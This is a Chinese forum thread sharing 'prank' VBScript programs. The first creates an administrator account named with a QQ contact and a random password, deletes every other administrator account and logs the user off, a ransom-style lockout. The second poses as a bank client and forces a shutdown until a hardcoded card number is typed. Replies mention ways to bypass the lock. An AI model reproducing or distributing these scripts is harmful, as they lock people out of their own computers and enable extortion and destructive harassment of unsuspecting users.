传统敲竹杠弱爆了，看我的随机密码敲竹杠
Randomize
upperbound=99
lowerbound=0
number1=int((upperbound - lowerbound +1)*rnd + lowerbound)
number2=int((upperbound - lowerbound +1)*rnd + lowerbound)
number3=int((upperbound - lowerbound +1)*rnd + lowerbound)
number4=int((upperbound - lowerbound +1)*rnd + lowerbound)
number1=cstr(number1)
number2=cstr(number2)
number3=cstr(number3)
number4=cstr(number4)
number=number1+number2+number3+number4
set ws=wscript.createobject("wscript.shell")
ws.run "net user 要密码加QQ1254906192 "& number &" /add"
strComputer = "."
Set colGroups = GetObject("WinNT://" & strComputer & "/Administrators")
For Each objUser In colGroups.Members
If objUser.Name<>"要密码加QQ1254906192" Then
ws.run "net user " & objUser.Name & " /delete"
End If
Next
ws.run"shutdown -l",0,true
仅供整蛊
唯一解决办法：
1.虚拟机
2.重装系统
适合整蛊小白

WScript.Echo("欢迎使用黑人银行软件客户端VL3.25测试版")
WScript.Echo("您好")
WScript.Echo("客户")
WScript.Echo("请输入您的卡号")
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown-r -t 60 -c ""请输入您的卡号，不然将关机···"" ",0 ,true
dim a
do while(a <> "0000 0000 0000 0125")
a = inputbox("请输入您的卡号，不然将关机　","客户端","",8000,7000)
msgboxchr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgboxchr(13) + chr(13) + chr(13) + "欢迎您客户"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown-a",0 ,true
msgboxchr(13) + chr(13) + chr(13) + "您的空气币余额是15202.22元"
WScript.Echo("您好")
WScript.Echo("尊敬的客户")
WScript.Echo("是否办理自动吸收空气业务")
WScript.Echo("可吸收大气层高纯度空气")
WScript.Echo("正在吸收中！")
WScript.Echo("20%")
WScript.Echo("30%")
WScript.Echo("40%")
WScript.Echo("53%")
WScript.Echo("68%")
WScript.Echo("84%")
WScript.Echo("99%")
WScript.Echo("100%")
WScript.Echo("吸收失败！")
WScript.Echo("是否重新开始")
WScript.Echo("重新开始！")
WScript.Echo("正在吸收中！")
WSc

噗

为了众吧友的福利果断顶起

进pe轻松破解

for循环解密，毕竟是纯数字

win8微软账户表示呵呵联网即可